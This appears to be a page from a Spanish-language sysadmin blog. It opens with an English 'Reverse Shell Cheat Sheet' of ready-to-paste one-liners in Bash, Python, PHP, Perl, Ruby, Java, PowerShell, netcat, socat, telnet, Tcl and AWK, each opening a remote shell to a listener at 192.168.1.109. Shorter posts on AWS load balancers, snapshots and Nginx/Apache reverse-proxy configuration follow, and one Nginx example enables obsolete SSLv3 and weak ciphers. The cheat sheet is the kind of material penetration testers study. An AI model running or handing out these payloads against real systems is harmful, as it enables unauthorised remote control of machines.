Jun 03

Reverse Shell Cheat Sheet

Listener:

nc -l -v -p 8080

Bash

exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

 

exec /bin/sh 0</dev/tcp/192.168.1.109/8080 1>&0 2>&0

 

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

 

bash -i >& /dev/tcp/192.168.1.109/8080 0>&1

 

bash -i &gt;&amp; /dev/tcp/192.168.1.109//8080 0&gt;&amp;1

 

TCLsh

echo ‘set s [socket 192.168.1.109 8080];while 42 { puts -nonewline $s “shell>”;flush $s;gets $s c;set e “exec $c”;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

 

Python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.109”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

PHP

php -r ‘$sock=fsockopen(“192.168.1.109”,8080);exec(“/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3”);’

 

php -r ‘$sock=fsockopen(“192.168.1.109”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’

 

php -r ‘$s=fsockopen(“192.168.1.109”,8080);shell_exec(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$s=fsockopen(“192.168.1.109”,8080);`/bin/sh -i <&3 >&3 2>&3`;’

php -r ‘$s=fsockopen(“192.168.1.109”,8080);system(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$s=fsockopen(“192.168.1.109”,8080);popen(“/bin/sh -i <&3 >&3 2>&3”, “r”);’

 

Perl

perl -e ‘use Socket;$i=”192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

perl -e ‘use Socket;$i=”192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”&gt;&amp;S”);open(STDOUT,”&gt;&amp;S”);open(STDERR,”&gt;&amp;S”);exec(“/bin/sh -i”);};’

 

perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.109:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

 

Ruby

 

ruby -rsocket -e’f=TCPSocket.open(“192.168.1.109”,8080).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

ruby -rsocket -e’f=TCPSocket.open(“192.168.1.109”,8080).to_i;exec sprintf(“/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d”,f,f,f)’

 

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“192.168.1.109″,”8080″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

 

Java

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()

 

Telnel:

rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.109 8080 0/tmp/p

 

rm -f x; mknod x p && telnet 192.168.1.109 8080> 0<x | /bin/bash 1>x

 

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 192.168.1.109 8080 > f

 

telnet 192.168.1.109 8080 | /bin/bash | telnet 192.168.1.109

 

Netcat

 

nc -e /bin/sh 192.168.1.109 8080

 

/bin/sh | nc 192.168.1.109 8080

 

rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.109 8080 0/tmp/p

 

Socat

socat tcp-connect:192.138.1.109:8080 exec:”bash -li”,pty,stderr,setsid,sigint,sane

 

Powershell

powershell.exe -w hidden -c ‘$client = New-Object System.Net.Sockets.TCPClient(“192.168.1.109”,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’

 

AWK

 

awk ‘BEGIN {s = “/inet/tcp/0/192.168.1.109/8080”; while(42) { do{ printf “shell>” |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != “exit”) close(s); }}’ /dev/null

 

Mar 18

Creación de un Balanceador de carga de aplicaciones con Auto escalado en AWS

En este ejemplo vamos a mostrar como implementar un balanceador de carga usando bajo AWS.

mediante esta configuración podremos escalar horizontalmente los servidores de aplicaciones y así aumentar el rendimiento, disminuir la latencia y proporcionar tolerancia a fallar.

Anteriormente vimos como montar un balanceador de carga la cual contaba con dos subnet publicas y un balanceador.  En esta ocasión vamos a complicar un poco mas y contaremos con cuatro subnet, un balanceador y dos nat gateway.

 

Diagrama de red:

 

Continue reading

Mar 18

Creación de un Balanceador de carga de aplicaciones en AWS

En este ejemplo vamos a mostrar como implementar un balanceador de carga usando bajo AWS.

mediante esta configuración podremos escalar horizontalmente los servidores de aplicaciones y así aumentar el rendimiento, disminuir la latencia y proporcionar tolerancia a fallar.

En este ejemplo veremos un balanceador de carga en  con dos subnet diferentes en las cuales se alojan nuestras instancias, esta entrada es una serie de varias. En las proximas entradas veremos como mejorar este balanceador.

Diagrama de red:

Continue reading

Mar 17

Crear AMI en AWS

¿Que es una AMI?

Una imagen de máquina de Amazon (AMI) proporciona la información necesaria para lanzar una instancia, que es un servidor virtual en la nube. Debe especificar una AMI de origen al lanzar una instancia. Cuando necesite varias instancias con la misma configuración, puede lanzarlas desde una misma AMI. Cuando necesite instancias con distintas configuraciones, puede usar distintas AMI para lanzarlas.

Una AMI incluye lo siguiente:

  • Una plantilla para el volumen raíz de la instancia (por ejemplo, un sistema operativo, un servidor de aplicaciones y aplicaciones)
  • Permisos de lanzamiento que controlan qué cuentas de AWS pueden utilizar la AMI para lanzar instancias
  • Un mapeo de dispositivos de bloques que especifica los volúmenes que se van a adjuntar a la instancia cuando se lance

Mas información

 

Continue reading

Mar 02

302 Redireccionamiento de SSL – Reverse Proxy NGINX

En ocasiones nos podemos encontrar un sitio con con SSL en el cual tenemos un reverse proxy que actúa como terminador SSL. Detrás de ese reverse proxy , tienes un servidor web.

Dentro de la aplicación emplea una redirección 302 para anunciar nuevas URL’s. Dado que el servidor web no sabe que las URL’s tienen que anunciarse mediante https el encabezado respuesta es incorrecto.

Para solventar este problema tenemos que agregar la siguiente configuración:

location / {

add_header Front-End-Https on;
add_header Cache-Control “public, must-revalidate”;
add_header Strict-Transport-Security “max-age=2592000; includeSubdomains”;
proxy_pass http://backend_servers_mrg;
proxy_next_upstream error timeout invalid_header http_500 http_502 http_503;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_redirect http:// https://;

}

Continue reading

Feb 28

bloquear el acceso a url con Nginx

En esta entrada veremos como restringir el acceso a unas determinadas ip’s a una URL mediante NGINX:

 

En esta ocasión veremos como bloquear las siguientes entradas de JBOSS para denegar el acceso a todas las redes excepto: 192.168.1.0/24

location ~ ^/(admin-console|jbossws|jmx-console) {
allow 192.168.1.0/24;
deny all;
proxy_pass http://backend_servers;
proxy_next_upstream error timeout invalid_header http_500 http_502 http_503;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

 

Ejemplo:

 

upstream backend_servers {
least_conn;
server 192.168.1.33;

}

server {
listen 80;

server_name  red-orbita.com;

location / {

add_header Front-End-Https on;
add_header Cache-Control “public, must-revalidate”;
add_header Strict-Transport-Security “max-age=2592000; includeSubdomains”;
proxy_pass http://backend_servers;
proxy_next_upstream error timeout invalid_header http_500 http_502 http_503;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
access_log /var/log/nginx/proxy.access.log;
error_log /var/log/nginx/proxy.error.log;

}

}

server {
listen 443 ssl;
server_name red-orbita.com;
access_log /var/log/nginx/red-orbita.access.log;
error_log /var/log/nginx/red-orbita.error.log;

ssl on;
ssl_certificate /etc/nginx/ssl/red-orbita.com-cert.pem;
ssl_certificate_key /etc/nginx/ssl/red-orbita.com-privatekey.key;
keepalive_timeout 60;

ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;
ssl_protocols SSLv3 TLSv1;
ssl_prefer_server_ciphers on;
ssl_verify_client off;

proxy_buffers 16 64k;
proxy_buffer_size 128k;

location / {

add_header Front-End-Https on;
add_header Cache-Control “public, must-revalidate”;
add_header Strict-Transport-Security “max-age=2592000; includeSubdomains”;
proxy_pass http://backend_servers_mrg;
proxy_next_upstream error timeout invalid_header http_500 http_502 http_503;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

}

location ~ ^/(admin-console|jbossws|jmx-console) {
allow 192.168.1.0/24;
deny all;
proxy_pass http://backend_servers;
proxy_next_upstream error timeout invalid_header http_500 http_502 http_503;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

}

 

:wq!

 

 

Feb 21

Instalación Load Balancer y reverse proxy en HA con NGINX keepalived

En este ejemplo vamos a mostrar como implementar un balanceador de carga usando NGINX y keepalived en modo Activo-Pasivo el cual realiza un balanceo de carga mediante round robin a los diferentes reverse proxy.

mediante esta configuración  podremos escalar horizontalmente los servidores de aplicaciones y así aumentar el rendimiento, disminuir la latencia y proporcionar tolerancia a fallar.

 

Diagrama de RED:

Continue reading

Feb 12

Crear snapshot en AWS

Accedemos a AWS > Services > EC2 > Volumes buscamos el servidor al que queremos realizar el snapshot e identificamos los volúmenes asociados a la instancia.

 

Una vez anotados los volumenes nos vamos a la pestaña snapshost

Nos abre un asistente de configuración en el que indicamos el volumen y asignamos un nombre y una descripción.

 

:wq!

 

 

Ene 11

302 Redireccionamiento de SSL – Reverse Proxy Apache.

En ocasiones nos podemos encontrar un sitio con con SSL en el cual tenemos un reverse proxy que actua como terminador SSL. Detrás de ese  reverse proxy , tienes un servidor web.

 

Dentro de la aplicación emplea una redirección 302 para anunciar nuevas URL’s. Dado que el servidor web no sabe que las URL’s tienen que anunciarse mediante https el encabezado respuesta es incorrecto.

Para solventar este problema tenemos que configurar la siguiente linea:

Header edit Location “^http:(.*)$” “https:$1”

 

A continuación poneos un ejemplo el cual realiza un reverse proxy hacia un servidor tomcat y la aplicación utiliza redirecciones 302 para anunciar las nuevas URL’s:

 

<VirtualHost _default_:443>

ServerAdmin rokitoh@red.orbita.com
DocumentRoot “/var/www/html/”
ServerName red.orbita.com
ServerAlias red.orbita.com
ErrorLog “/var/log/httpd/red.orbita.com-ssl-error_log”
CustomLog “/var/log/httpd/red.orbita.com-ssl-access_log” combined

ProxyRequests Off
ProxyPreserveHost On

<Proxy *>
Order deny,allow
Allow from all
</Proxy>

Header edit Location “^http:(.*)$” “https:$1”

ProxyPass / http://localhost:8080/
ProxyPassReverse / http://localhost:8080/

SSLProtocol ALL -SSLv2 -SSLv3
SSLHonorCipherOrder On
SSLCipherSuite ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:RSA+AESGCM:RSA+AES:!aNULL:!MD5:!DSS

SSLEngine on
SSLProxyEngine on

SSLCertificateFile /etc/httpd/certs/red.orbita.com.pem
SSLCertificateKeyFile /etc/httpd/certs/red.orbita.com.key

</VirtualHost>

 

:wq!